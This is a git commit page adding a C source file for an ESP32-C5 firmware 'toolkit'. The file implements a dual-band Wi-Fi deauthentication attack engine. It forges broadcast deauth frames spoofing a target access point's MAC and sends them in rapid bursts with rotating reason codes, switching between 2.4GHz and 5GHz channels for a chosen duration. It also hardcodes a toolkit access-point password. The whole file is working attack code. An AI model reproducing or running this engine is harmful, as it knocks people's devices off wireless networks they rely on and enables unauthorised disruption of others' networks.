Initial commit: project docs and ignore rules
This commit is contained in:
312
ESP32-C5-Toolkit/main/deauth_engine.c
Normal file
312
ESP32-C5-Toolkit/main/deauth_engine.c
Normal file
@@ -0,0 +1,312 @@
|
||||
#include "deauth_engine.h"
|
||||
#include "esp_wifi.h"
|
||||
#include "esp_log.h"
|
||||
#include "esp_timer.h"
|
||||
#include "freertos/FreeRTOS.h"
|
||||
#include "freertos/task.h"
|
||||
#include "freertos/semphr.h"
|
||||
#include <string.h>
|
||||
|
||||
static const char *TAG = "deauth_engine";
|
||||
|
||||
// Deauth frame structure
|
||||
typedef struct {
|
||||
uint8_t frame_ctrl[2];
|
||||
uint8_t duration[2];
|
||||
uint8_t da[6];
|
||||
uint8_t sa[6];
|
||||
uint8_t bssid[6];
|
||||
uint8_t seq[2];
|
||||
uint8_t reason[2];
|
||||
} __attribute__((packed)) deauth_frame_simple_t;
|
||||
|
||||
// Global state
|
||||
static volatile bool attack_running = false;
|
||||
static deauth_target_t target_24ghz = {0};
|
||||
static deauth_target_t target_5ghz = {0};
|
||||
static uint32_t attack_duration = 0;
|
||||
static uint32_t attack_start_time = 0;
|
||||
static TaskHandle_t attack_task_handle = NULL;
|
||||
static SemaphoreHandle_t attack_mutex = NULL;
|
||||
|
||||
// Get current time in seconds
|
||||
static uint32_t get_time_sec(void) {
|
||||
return (uint32_t)(esp_timer_get_time() / 1000000ULL);
|
||||
}
|
||||
|
||||
// Fast deauth send
|
||||
static inline void send_deauth_fast(uint8_t *ap_mac, uint16_t reason) {
|
||||
static uint8_t broadcast[6] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF};
|
||||
|
||||
deauth_frame_simple_t frame;
|
||||
|
||||
frame.frame_ctrl[0] = 0xC0;
|
||||
frame.frame_ctrl[1] = 0x00;
|
||||
frame.duration[0] = 0x00;
|
||||
frame.duration[1] = 0x00;
|
||||
|
||||
memcpy(frame.da, broadcast, 6);
|
||||
memcpy(frame.sa, ap_mac, 6);
|
||||
memcpy(frame.bssid, ap_mac, 6);
|
||||
|
||||
frame.seq[0] = 0x00;
|
||||
frame.seq[1] = 0x00;
|
||||
frame.reason[0] = reason & 0xFF;
|
||||
frame.reason[1] = (reason >> 8) & 0xFF;
|
||||
|
||||
esp_wifi_80211_tx(WIFI_IF_STA, &frame, sizeof(frame), false);
|
||||
}
|
||||
|
||||
// Aggressive deauth burst for one target
|
||||
static uint32_t send_deauth_burst(deauth_target_t *target) {
|
||||
if (!target->active) return 0;
|
||||
|
||||
static uint16_t reasons[] = {0x0001, 0x0003, 0x0006, 0x0007, 0x0008};
|
||||
uint32_t sent = 0;
|
||||
|
||||
// Set channel
|
||||
esp_wifi_set_channel(target->channel, WIFI_SECOND_CHAN_NONE);
|
||||
|
||||
// Send burst of 10 frames with different reason codes
|
||||
for (int i = 0; i < 10; i++) {
|
||||
send_deauth_fast(target->bssid, reasons[i % 5]);
|
||||
sent++;
|
||||
}
|
||||
|
||||
return sent;
|
||||
}
|
||||
|
||||
// Restore AP Mode
|
||||
static void restore_ap_mode(void) {
|
||||
ESP_LOGI(TAG, "Restoring AP mode...");
|
||||
|
||||
wifi_config_t ap_config = {
|
||||
.ap = {
|
||||
.ssid = "ESP32-C5-Toolkit",
|
||||
.ssid_len = strlen("ESP32-C5-Toolkit"),
|
||||
.password = "h4ck3rm4n",
|
||||
.channel = 1,
|
||||
.max_connection = 4,
|
||||
.authmode = WIFI_AUTH_WPA2_PSK,
|
||||
.pmf_cfg = {.required = false},
|
||||
},
|
||||
};
|
||||
|
||||
esp_wifi_set_mode(WIFI_MODE_APSTA);
|
||||
esp_wifi_set_config(WIFI_IF_AP, &ap_config);
|
||||
}
|
||||
|
||||
// Dual-Band Attack Task
|
||||
static void dual_band_attack_task(void *pvParameters) {
|
||||
ESP_LOGI(TAG, "Dual-band deauth attack started");
|
||||
|
||||
if (target_24ghz.active) {
|
||||
ESP_LOGI(TAG, "2.4GHz Target: %s | CH: %d", target_24ghz.ssid, target_24ghz.channel);
|
||||
}
|
||||
|
||||
if (target_5ghz.active) {
|
||||
ESP_LOGI(TAG, "5GHz Target: %s | CH: %d", target_5ghz.ssid, target_5ghz.channel);
|
||||
}
|
||||
|
||||
ESP_LOGI(TAG, "Duration: %lu seconds", attack_duration);
|
||||
|
||||
// Switch to STA only mode
|
||||
ESP_LOGI(TAG, "Switching to STA mode (AP disabled)...");
|
||||
esp_wifi_set_mode(WIFI_MODE_STA);
|
||||
vTaskDelay(pdMS_TO_TICKS(500));
|
||||
|
||||
attack_start_time = get_time_sec();
|
||||
target_24ghz.packets_sent = 0;
|
||||
target_5ghz.packets_sent = 0;
|
||||
uint32_t last_log_time = 0;
|
||||
uint32_t cycle_count = 0;
|
||||
|
||||
ESP_LOGI(TAG, "Attack started - rapid band switching");
|
||||
|
||||
// MAIN ATTACK LOOP - Fast switching between bands
|
||||
while (attack_running) {
|
||||
uint32_t elapsed = get_time_sec() - attack_start_time;
|
||||
|
||||
// Check duration
|
||||
if (elapsed >= attack_duration) {
|
||||
ESP_LOGI(TAG, "Attack duration expired");
|
||||
break;
|
||||
}
|
||||
|
||||
// Attack 2.4GHz band (10 packets)
|
||||
if (target_24ghz.active) {
|
||||
uint32_t sent = send_deauth_burst(&target_24ghz);
|
||||
target_24ghz.packets_sent += sent;
|
||||
}
|
||||
|
||||
// Tiny delay for channel switch to settle
|
||||
vTaskDelay(pdMS_TO_TICKS(5));
|
||||
|
||||
// Attack 5GHz band (10 packets)
|
||||
if (target_5ghz.active) {
|
||||
uint32_t sent = send_deauth_burst(&target_5ghz);
|
||||
target_5ghz.packets_sent += sent;
|
||||
}
|
||||
|
||||
// Minimal delay before next cycle
|
||||
vTaskDelay(pdMS_TO_TICKS(5));
|
||||
|
||||
cycle_count++;
|
||||
|
||||
// Log every 2 seconds
|
||||
if (elapsed - last_log_time >= 2) {
|
||||
last_log_time = elapsed;
|
||||
uint32_t remaining = attack_duration - elapsed;
|
||||
uint32_t total_packets = target_24ghz.packets_sent + target_5ghz.packets_sent;
|
||||
float total_pps = (float)total_packets / (float)(elapsed > 0 ? elapsed : 1);
|
||||
|
||||
ESP_LOGI(TAG, "[%2lu/%2lu sec] Total: %6lu pkt | PPS: %4.0f | Remaining: %2lu sec",
|
||||
elapsed, attack_duration, total_packets, total_pps, remaining);
|
||||
}
|
||||
}
|
||||
|
||||
ESP_LOGI(TAG, "Dual-band attack completed");
|
||||
|
||||
uint32_t total_time = get_time_sec() - attack_start_time;
|
||||
uint32_t total_packets = target_24ghz.packets_sent + target_5ghz.packets_sent;
|
||||
|
||||
ESP_LOGI(TAG, "Statistics: Total packets: %lu, Total time: %lu seconds", total_packets, total_time);
|
||||
|
||||
attack_running = false;
|
||||
|
||||
// Restore AP mode
|
||||
restore_ap_mode();
|
||||
|
||||
ESP_LOGI(TAG, "Ready for next attack");
|
||||
|
||||
attack_task_handle = NULL;
|
||||
vTaskDelete(NULL);
|
||||
}
|
||||
|
||||
// Start Dual-Band Attack
|
||||
bool deauth_start_attack(deauth_target_t *target_24ghz_param, deauth_target_t *target_5ghz_param, uint32_t duration) {
|
||||
if (attack_mutex == NULL) {
|
||||
attack_mutex = xSemaphoreCreateMutex();
|
||||
if (attack_mutex == NULL) {
|
||||
ESP_LOGE(TAG, "Failed to create attack mutex");
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
if (xSemaphoreTake(attack_mutex, portMAX_DELAY) != pdTRUE) {
|
||||
return false;
|
||||
}
|
||||
|
||||
if (attack_running) {
|
||||
ESP_LOGW(TAG, "Attack already running");
|
||||
xSemaphoreGive(attack_mutex);
|
||||
return false;
|
||||
}
|
||||
|
||||
// Reset targets
|
||||
memset(&target_24ghz, 0, sizeof(target_24ghz));
|
||||
memset(&target_5ghz, 0, sizeof(target_5ghz));
|
||||
|
||||
// Copy target data
|
||||
if (target_24ghz_param && target_24ghz_param->active) {
|
||||
memcpy(&target_24ghz, target_24ghz_param, sizeof(target_24ghz));
|
||||
}
|
||||
|
||||
if (target_5ghz_param && target_5ghz_param->active) {
|
||||
memcpy(&target_5ghz, target_5ghz_param, sizeof(target_5ghz));
|
||||
}
|
||||
|
||||
if (!target_24ghz.active && !target_5ghz.active) {
|
||||
ESP_LOGW(TAG, "No targets selected");
|
||||
xSemaphoreGive(attack_mutex);
|
||||
return false;
|
||||
}
|
||||
|
||||
attack_duration = duration;
|
||||
attack_running = true;
|
||||
|
||||
BaseType_t ret = xTaskCreate(dual_band_attack_task, "dual_attack", 8192, NULL, 5, &attack_task_handle);
|
||||
if (ret != pdPASS) {
|
||||
ESP_LOGE(TAG, "Failed to create attack task");
|
||||
attack_running = false;
|
||||
xSemaphoreGive(attack_mutex);
|
||||
return false;
|
||||
}
|
||||
|
||||
xSemaphoreGive(attack_mutex);
|
||||
return true;
|
||||
}
|
||||
|
||||
// Stop attack
|
||||
bool deauth_stop_attack(void) {
|
||||
if (attack_mutex == NULL) {
|
||||
return false;
|
||||
}
|
||||
|
||||
if (xSemaphoreTake(attack_mutex, portMAX_DELAY) != pdTRUE) {
|
||||
return false;
|
||||
}
|
||||
|
||||
if (!attack_running) {
|
||||
xSemaphoreGive(attack_mutex);
|
||||
return false;
|
||||
}
|
||||
|
||||
// Signal the attack to stop
|
||||
attack_running = false;
|
||||
|
||||
// Get task handle while holding mutex (prevents race condition)
|
||||
TaskHandle_t task_to_delete = attack_task_handle;
|
||||
attack_task_handle = NULL; // Clear handle while mutex is held
|
||||
|
||||
// Release mutex before waiting for task to finish
|
||||
// (task needs mutex to clean up properly)
|
||||
xSemaphoreGive(attack_mutex);
|
||||
|
||||
// Wait for task to finish with timeout
|
||||
int wait_count = 0;
|
||||
while (task_to_delete != NULL && wait_count < 50) {
|
||||
// Check if task still exists
|
||||
eTaskState task_state = eTaskGetState(task_to_delete);
|
||||
if (task_state == eDeleted || task_state == eInvalid) {
|
||||
task_to_delete = NULL;
|
||||
break;
|
||||
}
|
||||
vTaskDelay(pdMS_TO_TICKS(100));
|
||||
wait_count++;
|
||||
}
|
||||
|
||||
if (task_to_delete != NULL) {
|
||||
ESP_LOGW(TAG, "Attack task didn't terminate cleanly, forcing delete");
|
||||
// Suspend before deletion for safety
|
||||
vTaskSuspend(task_to_delete);
|
||||
vTaskDelay(pdMS_TO_TICKS(10));
|
||||
vTaskDelete(task_to_delete);
|
||||
restore_ap_mode();
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
// Check if attack is running
|
||||
bool deauth_is_running(void) {
|
||||
return attack_running;
|
||||
}
|
||||
|
||||
// Get statistics
|
||||
void deauth_get_stats(uint32_t *total_packets, uint32_t *packets_24ghz, uint32_t *packets_5ghz, uint32_t *elapsed_time) {
|
||||
if (total_packets) {
|
||||
*total_packets = target_24ghz.packets_sent + target_5ghz.packets_sent;
|
||||
}
|
||||
if (packets_24ghz) {
|
||||
*packets_24ghz = target_24ghz.packets_sent;
|
||||
}
|
||||
if (packets_5ghz) {
|
||||
*packets_5ghz = target_5ghz.packets_sent;
|
||||
}
|
||||
if (elapsed_time && attack_running) {
|
||||
*elapsed_time = get_time_sec() - attack_start_time;
|
||||
} else if (elapsed_time) {
|
||||
*elapsed_time = 0;
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user